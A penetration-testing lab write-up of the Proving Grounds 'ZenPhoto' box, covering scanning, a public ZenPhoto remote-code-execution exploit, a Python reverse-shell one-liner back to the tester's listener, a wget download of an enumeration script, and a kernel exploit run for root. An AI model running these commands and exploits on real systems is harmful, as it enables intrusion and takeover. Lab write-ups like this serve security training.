Offensive Security – Proving Grounds – ZenPhoto Write-up – No Metasploit

Offensive Security’s ZenPhoto is a Linux machine within their Proving Grounds – Practice section of the lab. This machine is rated intermediate from both Offensive Security and the community. I feel that rating is accurate. Keep in mind that the IP will change throughout the screenshots and cli output due to working on the box as time allows. Lets begin our reconnaissance.


Nmap using all scripts, checking for versions, output all formats, and scanning all TCP ports.

kali@kali:~/oscp/offsec/zenphoto$ nmap -sC -sV -oA all -p-
Starting Nmap 7.91 ( ) at 2021-03-13 20:10 EST
Nmap scan report for
Host is up (0.069s latency).
Not shown: 65531 closed ports
22/tcp   open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 83:92:ab:f2:b7:6e:27:08:7b:a9:b8:72:32:8c:cc:29 (DSA)
|_  2048 65:77:fa:50:fd:4d:9e:f1:67:e5:cc:0c:c6:96:f2:3e (RSA)
23/tcp   open  ipp     CUPS 1.4
| http-methods: 
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/1.4
|_http-title: 403 Forbidden
80/tcp   open  http    Apache httpd 2.2.14 ((Ubuntu))
|_http-server-header: Apache/2.2.14 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql   MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 69.74 seconds

Pretty standard ports here, lets check out the cup service considering that one seems out of place.

kali@kali:~/oscp/offsec/zenphoto$ searchsploit cupsd
----------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                             |  Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
APC UPS 3.7.2 - 'apcupsd' Local Denial of Service                                                          | linux/dos/251.c
CUPS 1.1.x - Cupsd Request Method Denial of Service                                                        | linux/dos/22619.txt
----------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Nothing lined up well for the cupsd service, but we may come back to this one. Moving on to port 80.

Port 80 doesn’t give us much so lets kick off a gobuster scan using the raft-medium-directories.txt wordlist from SecLists.

kali@kali:~/oscp/offsec/zenphoto$ gobuster dir -u -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-di
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/03/13 20:12:45 Starting gobuster in directory enumeration mode
/test                 (Status: 301) [Size: 315] [-->]
/index                (Status: 200) [Size: 75]                                   
/server-status        (Status: 403) [Size: 295]                                  
Progress: 23964 / 30001 (79.88%)                                                [ERROR] 2021/03/13 20:15:32 [!] parse "\x1f_log": net/url: invalid control character in URL
2021/03/13 20:16:14 Finished

After doing a bit of proxying the requests using BurpSuite we see a path in the code that gets us to the root of the application.

ZenPhoto is the target application. Who would have guessed 😉

Looking at the responses from the application with BurpSuite we see the version of the application.

Using the version to do a searchsploit, shows a possible remote code execution exploit.

kali@kali:~/oscp/offsec/zenphoto$ searchsploit zenphoto
--------------------------------------------------------------- ---------------------------------
 Exploit Title                                                 |  Path
--------------------------------------------------------------- ---------------------------------
ZenPhoto - 'ajax_create_folder.php' Remote Code Execut | php/webapps/18083.php
--------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Pull down the exploit using searchsploit -m /php/webapps/18083.php. After reviewing the code for any suspicious code, execute the script with the -h option to see how to use the exploit.

kali@kali:~/oscp/offsec/zenphoto$ php 18083.php -h

| Zenphoto <= Remote Code Execution Exploit by EgiX |

Usage......: php 18083.php <host> <path>

Example....: php 18083.php localhost /
Example....: php 18083.php localhost /zenphoto/

Looks simple enough, and we already have the root directory needed for the exploit. Execute the code against the target.

kali@kali:~/oscp/offsec/zenphoto$ php 18083.php /test/

| Zenphoto <= Remote Code Execution Exploit by EgiX |

zenphoto-shell# whoami

Woah! That was quick and easy. So now with a low privilege shell lets see what we can find. Lets start with enumeration the users on the system.

zenphoto-shell# cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
avahi-autoipd:x:103:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:104:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
couchdb:x:105:113:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
speech-dispatcher:x:106:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
usbmux:x:107:46:usbmux daemon,,,:/home/usbmux:/bin/false
haldaemon:x:108:114:Hardware abstraction layer,,,:/var/run/hald:/bin/false
kernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:110:115:PulseAudio daemon,,,:/var/run/pulse:/bin/false
hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
mysql:x:116:123:MySQL Server,,,:/var/lib/mysql:/bin/false

Navigating to the /home directory contains the local.txt flag.

zenphoto-shell# ls /home/

zenphoto-shell# cat /home/local.txt

Next, lets drop a Linux enumeration script on the target. Recently I have started using Serve up the file with http.server.

kali@kali:~/oscp/offsec$ sudo python3 -m http.server 80
[sudo] password for kali: 
Serving HTTP on port 80 ( ...

Use wget from the target machine to pull down the script and output to the /tmp directory

zenphoto-shell# wget -O /tmp/

We see the target machine grab the package successfully from our kali vm.

Serving HTTP on port 53 ( ...                                                     - - [03/Feb/2021 12:28:59] "GET / HTTP/1.0" 200 -

Next run the script with full paths and output the results to output.txt.

kali@kali:~/oscp/offsec/zenphoto$ /bin/sh /tmp/ > /tmp/output.txt

Looking at the results of the output.txt.

\e[97m[\e[93m*\e[97m] \e[90mret050\e[97m Can we write to any paths present in cron jobs\e[90m..................\e[36m yes!\e[0;0m                                                                                                          
\e[97m[\e[91m!\e[97m] \e[90mret060\e[97m Can we write to executable paths present in cron jobs\e[90m...........\e[92m yes!\e[0;0m                                                                                                          
/etc/cron.d/php5:09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -type f -cmin +$(/usr/lib/php5/maxlifetime) -print0 | xargs -n 200 -r -0 rm                                  
/etc/cron.d/php5:09,39 *     * * *     root   [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -type f -cmin +$(/usr/lib/php5/maxlifetime) -print0 | xargs -n 200 -r -0 rm                                  
\e[97m[\e[94mi\e[97m] \e[90mret400\e[97m Cron files\e[90m...................................................... \e[90mskip                                                                                                                 
\e[97m[\e[93m*\e[97m] \e[90mret500\e[97m User systemd timers\e[90m.............................................\e[90m nope\e[0;0m                                                                                                          
\e[97m[\e[91m!\e[97m] \e[90mret510\e[97m Can we write in any system timer?\e[90m...............................\e[90m nope\e[0;0m                                                                                                          
\e[97m[\e[94mi\e[97m] \e[90mret900\e[97m Systemd timers\e[90m.................................................. \e[90mskip

We see a few findings that stand out, but nothing immediately obvious.

At this point I was tired of working through the limited shell provided by the exploit so I used a python reverse shell to provide a more solid shell to continue enumeration. First start the listener on the kali box using nc and opening port 53.

kali@kali:~/oscp/offsec/zenphoto$ sudo nc -lvnp 53
[sudo] password for kali: 
listening on [any] 53 ...

On the victim machine we execute the following python reverse shell.

zenphoto-shell# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Checking back on the listener.

kali@kali:~/oscp/offsec/zenphoto$ sudo nc -lvnp 53
[sudo] password for kali: 
listening on [any] 53 ...
connect to [] from (UNKNOWN) [] 40881
/bin/sh: can't access tty; job control turned off

Okay, we have a reverse shell. Lets upgrade the shell by importing pty.

$ python -c 'import pty; pty.spawn("/bin/bash")'

Ahh, much better. Now lets continue enumeration. I check back up on the cupsd version that is installed looking for any privilege escalation opportunities.

www-data@offsecsrv:/tmp$ dpkg --list | grep cup
dpkg --list | grep cup
ii  bluez-cups                           4.60-0ubuntu8                                   Bluetooth printer driver for CUPS
ii  cups                                 1.4.3-1ubuntu1.3                                Common UNIX Printing System(tm) - server
ii  cups-bsd                             1.4.3-1ubuntu1.3                                Common UNIX Printing System(tm) - BSD comman
ii  cups-client                          1.4.3-1ubuntu1.3                                Common UNIX Printing System(tm) - client pro
ii  cups-common                          1.4.3-1ubuntu1.3                                Common UNIX Printing System(tm) - common fil
ii  cups-driver-gutenprint               5.2.5-0ubuntu1.1                                printer drivers for CUPS
ii  ghostscript-cups                     8.71.dfsg.1-0ubuntu5.3                          The GPL Ghostscript PostScript/PDF interpret
ii  libcups2                             1.4.3-1ubuntu1.3                                Common UNIX Printing System(tm) - Core libra
ii  libcupscgi1                          1.4.3-1ubuntu1.3                                Common UNIX Printing System(tm) - CGI librar
ii  libcupsdriver1                       1.4.3-1ubuntu1.3                                Common UNIX Printing System(tm) - Driver lib
ii  libcupsimage2                        1.4.3-1ubuntu1.3                                Common UNIX Printing System(tm) - Raster ima
ii  libcupsmime1                         1.4.3-1ubuntu1.3                                Common UNIX Printing System(tm) - MIME libra
ii  libcupsppdc1                         1.4.3-1ubuntu1.3                                Common UNIX Printing System(tm) - PPD manipu
ii  python-cups                          1.9.49-0ubuntu1                                 Python bindings for CUPS
ii  python-cupshelpers                   1.2.0+20100408-0ubuntu5.2                       Python modules for printer configuration wit

Nothing useful here.

I typically will search for kernel exploits using google. uname -a showed kernel version 2.6.34-21-generic and cat /etc/issue showed version 10.04. With a bit more searchsploit searching we see two possible exploits for local privilege escalation.

----------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                       |  Path
----------------------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation             | linux/local/15704.c
Linux Kernel < (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation                 | linux/local/17787.c
----------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

This exploit requires compiling the code and we seen /usr/bin/gcc exists on the target in the script. Here is the exploit usage.

 * Linux Kernel <= 2.6.37 local privilege escalation
 * by Dan Rosenberg
 * @djrbliss on twitter
 * Usage:
 * gcc full-nelson.c -o full-nelson
 * ./full-nelson

Using the same process to migrate the script to the target, we move the exploit over to the target. Compile the exploit with /usr/bin/gcc 15704.c -o 15704

www-data@offsecsrv:/tmp$ /usr/bin/gcc 15704.c -o 15704

Execute the script.

www-data@offsecsrv:/tmp$ ./15704                                   
[*] Resolving kernel addresses...                                  
 [+] Resolved econet_ioctl to 0xf81fc2d0                           
 [+] Resolved econet_ops to 0xf81fc3c0                             
 [+] Resolved commit_creds to 0xc016dcc0                           
 [+] Resolved prepare_kernel_cred to 0xc016e000                    
[*] Calculating target...                                          
[*] Triggering payload...                                          
[*] Got root!                                                      
# id                                                               
uid=0(root) gid=0(root)

We have root! Now lets navigate to the root directory and grab the flag.

# cd /root
cd /root
# ls
mysqlpass  proof.txt
# cat proof.txt
cat proof.txt


ZenPhoto, a linux box provided by Offensive Security, was a great box for testing your enumeration methodology. Find the out of date software and exploit those vulnerabilities.

From a defensive perspective, I could have been detected by a WAF or IDS during the attempts of the initial foothold. The privilege escalation could be detected by monitoring usage of gcc within your environment. Of course I could have been more stealthy during the attack by possibly compiling the exploit on the same architecture within a VM before moving the payload.

Overall, I highly recommend giving this one a shot. Until next time, stay safe in the Trenches of IT!